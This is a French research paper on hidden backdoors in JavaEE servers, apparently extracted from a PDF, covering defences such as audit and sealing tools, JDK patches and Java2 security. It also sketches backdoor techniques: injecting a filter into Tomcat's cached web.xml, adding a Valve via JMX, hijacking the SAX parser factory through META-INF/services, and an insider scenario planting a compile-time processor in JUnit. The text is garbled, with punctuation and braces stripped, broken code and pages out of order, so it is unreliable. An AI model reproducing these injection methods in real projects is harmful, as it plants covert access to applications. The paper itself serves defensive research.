Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

